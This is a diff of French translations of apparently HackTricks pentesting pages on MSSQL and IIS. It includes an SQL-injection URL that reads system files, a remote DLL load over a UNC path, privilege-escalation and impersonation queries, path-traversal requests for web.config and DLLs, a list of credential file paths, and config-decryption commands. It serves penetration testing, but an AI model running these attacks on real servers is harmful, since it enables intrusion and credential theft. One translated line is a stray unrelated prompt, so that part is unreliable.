[**Lisez ce post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur la façon d'abuser de cette fonctionnalité :**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### **Écrire des Fichiers**
|
||||
### **Écrire des fichiers**
|
||||
|
||||
Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier :
|
||||
```bash
|
||||
@ -311,7 +345,7 @@ EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Lire un fichier avec** OPENROWSET
|
||||
|
||||
Par défaut, `MSSQL` permet la lecture de fichiers **sur n'importe quel fichier dans le système d'exploitation auquel le compte a accès en lecture**. Nous pouvons utiliser la requête SQL suivante :
|
||||
Par défaut, `MSSQL` permet la **lecture de n'importe quel fichier du système d'exploitation auquel le compte a accès en lecture**. Nous pouvons utiliser la requête SQL suivante :
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
@ -320,19 +354,19 @@ Cependant, l'option **`BULK`** nécessite la permission **`ADMINISTER BULK OPERA
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### Vecteur basé sur les erreurs pour SQLi :
|
||||
#### Vecteur Error-based pour SQLi:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Lire des fichiers exécutant des scripts (Python et R)**
|
||||
### **RCE/Lire des fichiers en exécutant des scripts (Python and R)**
|
||||
|
||||
MSSQL pourrait vous permettre d'exécuter des **scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp_cmdshell** pour exécuter des commandes.
|
||||
MSSQL pourrait vous permettre d'exécuter **des scripts en Python et/ou R**. Ces scripts seront exécutés par un **utilisateur différent** de celui utilisant **xp_cmdshell** pour exécuter des commandes.
|
||||
|
||||
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **ne fonctionne pas** :
|
||||
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **ne fonctionnant pas**:
|
||||
|
||||
.png>)
|
||||
|
||||
Exemple utilisant Python configuré pour effectuer plusieurs actions :
|
||||
Exemple utilisant Python configuré pour effectuer plusieurs actions:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -348,9 +382,9 @@ GO
|
||||
```
|
||||
### Lire le Registre
|
||||
|
||||
Microsoft SQL Server fournit **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server fournit **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau, mais aussi avec le système de fichiers et même le [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Régulier** | **Conscient de l'instance** |
|
||||
| **Regular** | **Instance-Aware** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
@ -371,21 +405,21 @@ Use master;
|
||||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
Pour **plus d'exemples**, consultez la [**source originale**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
Pour **plus d'exemples**, consultez la [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### RCE avec la fonction définie par l'utilisateur MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### RCE avec MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Il est possible de **charger un .NET dll dans MSSQL avec des fonctions personnalisées**. Cela nécessite cependant un accès **`dbo`**, donc vous avez besoin d'une connexion à la base de données **en tant que `sa` ou un rôle Administrateur**.
|
||||
Il est possible de **charger un .NET dll dans MSSQL avec des fonctions personnalisées**. Cela, cependant, **exige un accès `dbo`** ; vous avez donc besoin d'une connexion à la base de données **en tant que `sa` ou avec un rôle Administrator**.
|
||||
|
||||
[**Suivez ce lien**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) pour voir un exemple.
|
||||
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) pour voir un exemple.
|
||||
|
||||
### RCE avec `autoadmin_task_agents`
|
||||
|
||||
Selon [**ce post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), il est également possible de charger un dll distant et de faire exécuter MSSQL avec quelque chose comme :
|
||||
Selon[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), il est également possible de charger une dll distante et de faire exécuter MSSQL avec quelque chose comme :
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
Avec :
|
||||
Veuillez fournir le contenu du fichier README.md à traduire.
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -437,13 +471,13 @@ public void Test()
|
||||
```
|
||||
### Autres méthodes pour RCE
|
||||
|
||||
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
Il existe d'autres méthodes pour obtenir l'exécution de commandes, comme ajouter [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
## Escalade de privilèges MSSQL
|
||||
## MSSQL Privilege Escalation
|
||||
|
||||
### De db_owner à sysadmin
|
||||
### From db_owner to sysadmin
|
||||
|
||||
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur admin** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **privesc** car les **stored procedures** créées là peuvent **s'exécuter** en tant que propriétaire (**admin**).
|
||||
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un administrateur** (par exemple **`sa`**) et que cette base est configurée en **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour effectuer une **privesc**, parce que les **stored procedures** créées dans cette base peuvent **execute** en tant que propriétaire (**admin**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
@ -481,15 +515,15 @@ Vous pouvez utiliser un module **metasploit** :
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
Ou un **script PS** :
|
||||
Ou un **PS** script:
|
||||
```bash
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Usurpation d'autres utilisateurs
|
||||
### Usurpation d'identité d'autres utilisateurs
|
||||
|
||||
SQL Server a une permission spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur exécutant d'adopter les permissions d'un autre utilisateur** ou d'une connexion jusqu'à ce que le contexte soit réinitialisé ou que la session se termine.
|
||||
SQL Server dispose d'une permission spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur en cours d'adopter les autorisations d'un autre utilisateur** ou login jusqu'à ce que le contexte soit réinitialisé ou que la session se termine.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -510,9 +544,9 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!TIP]
|
||||
> Si vous pouvez usurper l'identité d'un utilisateur, même s'il n'est pas sysadmin, vous devriez vérifier **si l'utilisateur a accès** à d'autres **bases de données** ou serveurs liés.
|
||||
> Si vous pouvez vous faire passer pour un utilisateur, même s'il n'est pas sysadmin, vous devriez vérifier si l'utilisateur a accès à d'autres **databases** ou **linked servers**.
|
||||
|
||||
Notez qu'une fois que vous êtes sysadmin, vous pouvez usurper l'identité de n'importe quel autre utilisateur :
|
||||
Notez que, une fois que vous êtes sysadmin, vous pouvez vous faire passer pour n'importe quel autre :
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -526,7 +560,7 @@ Vous pouvez effectuer cette attaque avec un module **metasploit** :
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
ou avec un script **PS** :
|
||||
ou avec un script **PS**:
|
||||
```bash
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
@ -536,28 +570,28 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Extraction des mots de passe des serveurs liés SQL Server
|
||||
## Extraction des mots de passe des Linked Servers de SQL Server
|
||||
|
||||
Un attaquant peut extraire les mots de passe des serveurs liés SQL Server à partir des instances SQL et les obtenir en texte clair, accordant à l'attaquant des mots de passe qui peuvent être utilisés pour acquérir un meilleur accès à la cible. Le script pour extraire et déchiffrer les mots de passe stockés pour les serveurs liés peut être trouvé [ici](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
Un attaquant peut extraire les mots de passe des Linked Servers de SQL Server depuis les instances SQL et les obtenir en clair, fournissant à l'attaquant des mots de passe pouvant être utilisés pour obtenir une plus grande emprise sur la cible. Le script pour extraire et déchiffrer les mots de passe stockés pour les Linked Servers se trouve [ici](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Certaines exigences et configurations doivent être effectuées pour que cette exploitation fonctionne. Tout d'abord, vous devez avoir des droits d'administrateur sur la machine, ou la capacité de gérer les configurations SQL Server.
|
||||
Quelques prérequis et configurations doivent être effectués pour que cet exploit fonctionne. Tout d'abord, vous devez disposer des droits d’administrateur sur la machine, ou de la capacité à gérer les configurations de SQL Server.
|
||||
|
||||
Après avoir validé vos autorisations, vous devez configurer trois choses, qui sont les suivantes :
|
||||
Après avoir validé vos permissions, vous devez configurer trois choses, qui sont les suivantes :
|
||||
|
||||
1. Activer TCP/IP sur les instances SQL Server ;
|
||||
2. Ajouter un paramètre de démarrage, dans ce cas, un drapeau de trace sera ajouté, qui est -T7806.
|
||||
2. Ajouter un paramètre de démarrage ; dans ce cas, un trace flag sera ajouté : -T7806.
|
||||
3. Activer la connexion d'administration à distance.
|
||||
|
||||
Pour automatiser ces configurations, [ce dépôt](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) contient les scripts nécessaires. En plus d'avoir un script PowerShell pour chaque étape de la configuration, le dépôt contient également un script complet qui combine les scripts de configuration et l'extraction et le déchiffrement des mots de passe.
|
||||
Pour automatiser ces configurations, [ce dépôt](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) contient les scripts nécessaires. Outre un script PowerShell pour chaque étape de la configuration, le dépôt inclut également un script complet qui combine les scripts de configuration et l'extraction et le déchiffrement des mots de passe.
|
||||
|
||||
Pour plus d'informations, référez-vous aux liens suivants concernant cette attaque : [Déchiffrement des mots de passe des serveurs liés de la base de données MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Pour plus d'informations, référez-vous aux liens suivants concernant cette attaque : [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Dépannage de la connexion d'administrateur dédiée SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalade de privilèges locale
|
||||
|
||||
L'utilisateur exécutant le serveur MSSQL aura activé le jeton de privilège **SeImpersonatePrivilege.**\
|
||||
Vous pourrez probablement **escalader vers Administrateur** en suivant l'une de ces 2 pages :
|
||||
L'utilisateur exécutant le serveur MSSQL aura le token de privilège **SeImpersonatePrivilege.**\
|
||||
Vous pourrez probablement **escalader en tant qu'administrateur** en suivant l'une de ces 2 pages :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -575,6 +609,18 @@ Vous pourrez probablement **escalader vers Administrateur** en suivant l'une de
|
||||
|
||||
## Références
|
||||
|
||||
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
|
||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
|
@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Tester les extensions de fichiers exécutables :
|
||||
Extensions de fichiers exécutables à tester :
|
||||
|
||||
- asp
|
||||
- aspx
|
||||
- config
|
||||
- php
|
||||
|
||||
## Divulgation de l'adresse IP interne
|
||||
## Divulgation d'adresses IP internes
|
||||
|
||||
Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous indiquer l'adresse IP interne :
|
||||
Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer le Host header et d'utiliser HTTP/1.0 ; dans la réponse, le Location header peut pointer vers l'adresse IP interne :
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
@ -29,11 +29,11 @@ X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## Exécuter des fichiers .config
|
||||
|
||||
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML : [Télécharger l'exemple ici](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
Plus d'informations et de techniques pour exploiter cette vulnérabilité [ici](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
## Découverte IIS Bruteforce
|
||||
## IIS Discovery Bruteforce
|
||||
|
||||
Téléchargez la liste que j'ai créée :
|
||||
|
||||
@ -50,63 +50,63 @@ Elle a été créée en fusionnant le contenu des listes suivantes :
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.
|
||||
Use it without adding any extension, the files that need it have it already.
|
||||
|
||||
## Traversée de chemin
|
||||
## Path Traversal
|
||||
|
||||
### Fuite de code source
|
||||
### Leaking source code
|
||||
|
||||
Consultez l'intégralité de l'article ici : [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
|
||||
> À partir des **Dlls téléchargés**, il est également possible de trouver **de nouveaux namespaces** où vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\
|
||||
> [!TIP]
|
||||
> En résumé, il existe plusieurs fichiers web.config dans les dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et aux "**namespaces**". Avec ces informations, il est possible de savoir **où sont localisés les exécutables** et de les télécharger.\
|
||||
> À partir des **downloaded Dlls** il est aussi possible de trouver **de nouveaux namespaces** où vous devriez essayer d'accéder et récupérer le fichier web.config afin de trouver d'autres namespaces et assemblyIdentity.\
|
||||
> De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.
|
||||
|
||||
Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie à travers les balises XML **"assemblyIdentity"**.
|
||||
In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
|
||||
|
||||
### **Exploration des fichiers binaires**
|
||||
### **Exploring Binary Files**
|
||||
|
||||
Un exemple d'accès au fichier **web.config** est montré ci-dessous :
|
||||
Un exemple d'accès au fichier **web.config** est montré ci-dessous:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
Cette demande révèle divers paramètres et dépendances, tels que :
|
||||
Cette requête révèle divers paramètres et dépendances, tels que :
|
||||
|
||||
- **EntityFramework** version
|
||||
- **AppSettings** pour les pages web, la validation des clients et JavaScript
|
||||
- **System.web** configurations pour l'authentification et l'exécution
|
||||
- **AppSettings** pour webpages, la validation côté client et JavaScript
|
||||
- **System.web** configurations pour l'authentification et le runtime
|
||||
- **System.webServer** paramètres des modules
|
||||
- **Runtime** liaisons d'assemblage pour de nombreuses bibliothèques comme **Microsoft.Owin**, **Newtonsoft.Json**, et **System.Web.Mvc**
|
||||
- **Runtime** assembly bindings pour de nombreuses bibliothèques comme **Microsoft.Owin**, **Newtonsoft.Json**, et **System.Web.Mvc**
|
||||
|
||||
Ces paramètres indiquent que certains fichiers, tels que **/bin/WebGrease.dll**, se trouvent dans le dossier /bin de l'application.
|
||||
|
||||
### **Fichiers du Répertoire Racine**
|
||||
### **Root Directory Files**
|
||||
|
||||
Les fichiers trouvés dans le répertoire racine, comme **/global.asax** et **/connectionstrings.config** (qui contient des mots de passe sensibles), sont essentiels pour la configuration et le fonctionnement de l'application.
|
||||
Les fichiers trouvés dans le répertoire racine, comme **/global.asax** et **/connectionstrings.config** (qui contient des mots de passe sensibles), sont essentiels à la configuration et au fonctionnement de l'application.
|
||||
|
||||
### **Espaces de Noms et Web.Config**
|
||||
### **Namespaces and Web.Config**
|
||||
|
||||
Les applications MVC définissent également des **fichiers web.config** supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre **web.config** :
|
||||
Les applications MVC définissent aussi des **web.config files** supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme démontré par une requête pour télécharger un autre **web.config** :
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Téléchargement de DLLs**
|
||||
|
||||
La mention d'un espace de noms personnalisé suggère qu'il existe une DLL nommée "**WebApplication1**" présente dans le répertoire /bin. Suite à cela, une demande de téléchargement de **WebApplication1.dll** est affichée :
|
||||
La mention d'un namespace personnalisé suggère la présence d'une DLL nommée "**WebApplication1**" dans le répertoire /bin. Ensuite, une requête pour télécharger la **WebApplication1.dll** est affichée :
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
Cela suggère la présence d'autres DLL essentielles, comme **System.Web.Mvc.dll** et **System.Web.Optimization.dll**, dans le répertoire /bin.
|
||||
Ceci suggère la présence d'autres DLL essentielles, comme **System.Web.Mvc.dll** et **System.Web.Optimization.dll**, dans le répertoire /bin.
|
||||
|
||||
Dans un scénario où une DLL importe un espace de noms appelé **WebApplication1.Areas.Minded**, un attaquant pourrait déduire l'existence d'autres fichiers web.config dans des chemins prévisibles, tels que **/area-name/Views/**, contenant des configurations spécifiques et des références à d'autres DLL dans le dossier /bin. Par exemple, une requête à **/Minded/Views/web.config** peut révéler des configurations et des espaces de noms qui indiquent la présence d'une autre DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
Dans un scénario où une DLL importe un espace de noms appelé **WebApplication1.Areas.Minded**, un attaquant pourrait inférer l'existence d'autres fichiers web.config à des chemins prévisibles, tels que **/area-name/Views/**, contenant des configurations spécifiques et des références à d'autres DLLs dans le dossier /bin. Par exemple, une requête vers **/Minded/Views/web.config** peut révéler des configurations et des namespaces indiquant la présence d'une autre DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
|
||||
### Fichiers courants
|
||||
|
||||
Depuis [ici](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
```
|
||||
C:\Apache\conf\httpd.conf
|
||||
C:\Apache\logs\access.log
|
||||
@ -183,21 +183,138 @@ C:\xampp\security\webdav.htpasswd
|
||||
C:\xampp\sendmail\sendmail.ini
|
||||
C:\xampp\tomcat\conf\server.xml
|
||||
```
|
||||
## HTTPAPI 2.0 Erreur 404
|
||||
## HTTPAPI 2.0 404 Error
|
||||
|
||||
Si vous voyez une erreur comme celle-ci :
|
||||
If you see an error like the following one:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Cela signifie que le serveur **n'a pas reçu le bon nom de domaine** dans l'en-tête Host.\
|
||||
Pour accéder à la page web, vous pourriez jeter un œil au **certificat SSL** servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'y est pas, vous devrez peut-être **brute forcer les VHosts** jusqu'à ce que vous trouviez le bon.
|
||||
Cela signifie que le serveur **n'a pas reçu le nom de domaine correct** dans le Host header.\
|
||||
Pour accéder à la page web, vous pouvez jeter un œil au **SSL Certificate** servi et peut‑être y trouverez‑vous le nom de domaine/sous‑domaine. S'il n'y est pas, vous devrez peut‑être **brute force VHosts** jusqu'à trouver le bon.
|
||||
|
||||
## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
|
||||
|
||||
Deux méthodes courantes pour protéger des secrets sur des applications .NET hébergées sur IIS sont :
|
||||
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) pour les sections de web.config comme <connectionStrings>.
|
||||
- ASP.NET Core Data Protection key ring (persisted locally) utilisé pour protéger les secrets de l'application et les cookies.
|
||||
|
||||
Si vous avez un accès filesystem ou interactif sur le serveur web, des clés co‑localisées permettent souvent le déchiffrement.
|
||||
|
||||
- ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis:
|
||||
```cmd
|
||||
# Decrypt a section by app path (site configured in IIS)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
|
||||
|
||||
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
|
||||
```
|
||||
- ASP.NET Core – rechercher les Data Protection key rings stockés localement (fichiers XML/JSON) dans des emplacements tels que :
|
||||
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
|
||||
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
|
||||
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
|
||||
|
||||
Avec le trousseau de clés disponible, un opérateur s'exécutant sous l'identité de l'application peut instancier un IDataProtector avec les mêmes purposes et appeler unprotect sur les secrets stockés. Les mauvaises configurations qui stockent le trousseau de clés avec les fichiers de l'application rendent le déchiffrement hors ligne trivial une fois l'hôte compromis.
|
||||
|
||||
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
|
||||
|
||||
Le toolkit Phantom Taurus/NET-STAR illustre un schéma mature pour fileless IIS persistence et post‑exploitation entièrement à l'intérieur de w3wp.exe. Les idées de base sont largement réutilisables pour custom tradecraft et pour detection/hunting.
